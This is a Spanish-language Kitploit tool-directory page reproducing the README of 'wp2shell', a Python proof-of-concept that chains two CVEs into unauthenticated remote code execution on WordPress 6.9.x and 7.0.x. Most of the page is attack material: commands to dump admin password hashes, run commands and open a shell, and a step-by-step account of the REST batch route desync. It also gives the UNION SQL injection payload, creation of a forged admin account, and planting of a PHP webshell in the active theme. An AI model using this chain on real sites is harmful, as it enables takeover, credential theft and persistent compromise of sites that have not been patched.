Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-63030-POC — CVE-2026-63030 / wp2shell | Kitploit
Herramientas/GitHubGitHub/4b3r4m4-607d/cve-2026-63030-poc
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y EducaciónRed TeamingDesarrollo de Payloads
GitHub4b3r4m4-607d/cve-2026-63030-poc

CVE-2026-63030-POC

CVE-2026-63030 / wp2shell

2hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

wp2shell — CVE-2026-63030 + CVE-2026-60137

Cadena de exploits RCE de un día para WordPress. Sin autenticación. CVSS 9.8.

Cero dependencias — solo stdlib de Python 3.8+.

Versiones afectadas

RamaVulnerableParcheada
6.9.x6.9.0 – 6.9.4≥ 6.9.5
7.0.x7.0.0 – 7.0.1≥ 7.0.2

La cadena

Dos CVEs encadenadas en Ejecución Remota de Código sin autenticación:

root@kitploit:~
CVE-2026-63030 (route confusion)  →  batch desync bypasses auth
           +
CVE-2026-60137 (SQL injection)    →  author__not_in sinks raw into SQL
           ↓
   UNION-forge WP_Post rows  →  customizer changeset bridge  →  admin created
           ↓
   Login as admin  →  theme editor  →  webshell  →  RCE

Inicio rápido

root@kitploit:~
# Solo sondeo — no destructivo, confirma vulnerabilidad
python3 exploit.py --url http://target:8080 --check

# Extraer hashes de contraseñas de administradores de la base de datos
python3 exploit.py --url http://target:8080 --dump-users

# Cadena completa: SQLi → admin → webshell → comando
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"

# Shell interactiva (con seguimiento del directorio de trabajo)
python3 exploit.py --url http://target:8080 --shell

# Leer datos arbitrarios mediante inyección SQL UNION
python3 exploit.py --url http://target:8080 --read "SELECT @@version"

# Omitir puente pre-autenticación — usar credenciales conocidas
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami

Opciones

root@kitploit:~
--url URL          URL base de WordPress objetivo (requerido)
--check            Solo sondeo — no explotar
--dump-users       Extraer todas las credenciales de usuarios mediante UNION SQLi
--read SQL         Leer una expresión SQL escalar de la base de datos
--cmd CMD          Ejecutar un comando de shell en el objetivo
--shell            Abrir una shell interactiva
--user USER        Nombre de usuario administrador (omitir creación de admin pre-autenticación)
--password PASS    Contraseña de administrador (usar con --user)
--proxy URL        Proxy HTTP (ej. http://127.0.0.1:8080)
--timeout SEC      Tiempo de espera de solicitud (por defecto: 30)
--no-cleanup       Dejar webshell y usuario administrador en el objetivo

Cómo funciona

Confusión de ruta (CVE-2026-63030)

El endpoint batch de WordPress en /?rest_route=/batch/v1 acepta un arreglo de sub-solicitudes. Cuando una sub-solicitud tiene una ruta no analizable (///), se agrega un WP_Error a $validation pero no a $matches. El bucle de despacho entonces empareja la solicitud N con el controlador N+1 — así que una solicitud validada contra un esquema es despachada a un controlador diferente.

El exploit envía un batch anidado de 3 niveles donde cada nivel usa un cebador de desincronización en la posición 0 para desplazar los índices. La solicitud más interna — validada como un elemento de post individual (GET /wp/v2/posts/999999) — aterriza en el controlador de colección (posts->get_items()). Dado que el esquema del elemento no define author_exclude, el parámetro pasa sin validar.

Inyección SQL (CVE-2026-60137)

get_items() mapea author_exclude → author__not_in y lo pasa a WP_Query. Cuando author__not_in es una cadena (no un arreglo), el bloque array_map('absint', …) se omite. La cadena cruda llega directamente a:

root@kitploit:~
WHERE post_author NOT IN (<payload>)

El payload 0) UNION ALL SELECT …-- - cierra la lista NOT IN y agrega SQL arbitrario.

Extracción UNION

wp_posts de WordPress 7.0.x tiene exactamente 23 columnas. Al inyectar una fila falsificada mediante UNION ALL SELECT con orderby=none (suprime el ORDER BY final) y per_page=500 (mantiene WP_Query en modo de fila completa), el título del post falsificado — que lleva un marcador ||HEX|| — se refleja en la respuesta REST. Todos los valores de cadena usan literales hexadecimales de MySQL (0x…) para evitar problemas de escape de comillas a través de la codificación URL.

Creación de administrador sin autenticación

  1. UNION-forjar un post que contenga shortcodes [embed] → WordPress crea 3 filas oembed_cache
  2. Leer los 3 IDs de post de caché de vuelta mediante extracción UNION
  3. UNION-forjar 7 filas estructuradas wp_posts formando una cadena de changeset de customizer
  4. El shortcode [embed] se renderiza, disparando WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()
  5. Administrador creado con nombre de usuario aleatorio (wp2_<random>) y contraseña (Wp2!<random>)

Despliegue de webshell

Iniciar sesión como el nuevo administrador → extraer nonce del editor de temas → inyectar webshell PHP protegida por token en la parte superior del functions.php del tema activo → acceder mediante ?t=<token>&c=<command>.

Requisitos

  • Python 3.8 o posterior
  • Cero dependencias externas — solo usa stdlib (urllib, json, re, hashlib, secrets, html)
  • El objetivo debe tener al menos un post o página publicada (para la siembra de caché oEmbed)

Limitaciones

  • Loopback Docker: El editor de archivos de WordPress realiza una verificación de loopback wp_remote_post() antes de guardar. Si el contenedor no puede alcanzarse a sí mismo por nombre de host, la edición del tema se bloquea. Use --dump-users + inicio de sesión manual en esos casos.
  • Sin posts publicados: La semilla de caché oEmbed requiere al menos un enlace permanente público. Una instalación limpia de WordPress después de la configuración tiene tanto "¡Hola mundo!" como "Página de ejemplo".
  • WAF / mod_security: El filtrado intensivo de solicitudes puede bloquear los payloads batch anidados. Pruebe primero con --check.

Verificación

root@kitploit:~
$ python3 exploit.py --url http://target --check
[+] VULNERABLE — comportamiento de confusión de ruta detectado!
[+] Extracción UNION SQLi confirmada — lectura en banda disponible

$ python3 exploit.py --url http://target --dump-users
[*] 11 usuario(s) en wp_users:
  ID=1  login=admin
        pass=$wp$2y$10$...
  ...

Descargo de responsabilidad

Esta herramienta es solo para investigación de seguridad autorizada y fines educativos. Úsela únicamente en sistemas que posea o para los que tenga permiso explícito de prueba. Los autores no asumen ninguna responsabilidad por el mal uso.

Créditos

  • WPScan — Divulgación de CVE (CVE-2026-63030, CVE-2026-60137)
  • NVD — Base de datos de CVE
Descargar herramienta
PasoCVEVector
1CVE-2026-63030Desalineación de índice REST /batch/v1 desincroniza validación de despacho
2CVE-2026-60137El parámetro author__not_in de WP_Query omite absint() cuando se pasa como cadena
3—UNION SELECT forja filas wp_posts; oEmbed → customizer → wp_insert_user
4—Autenticarse como el nuevo administrador creado
5—El editor de temas inyecta webshell protegida por token en el tema activo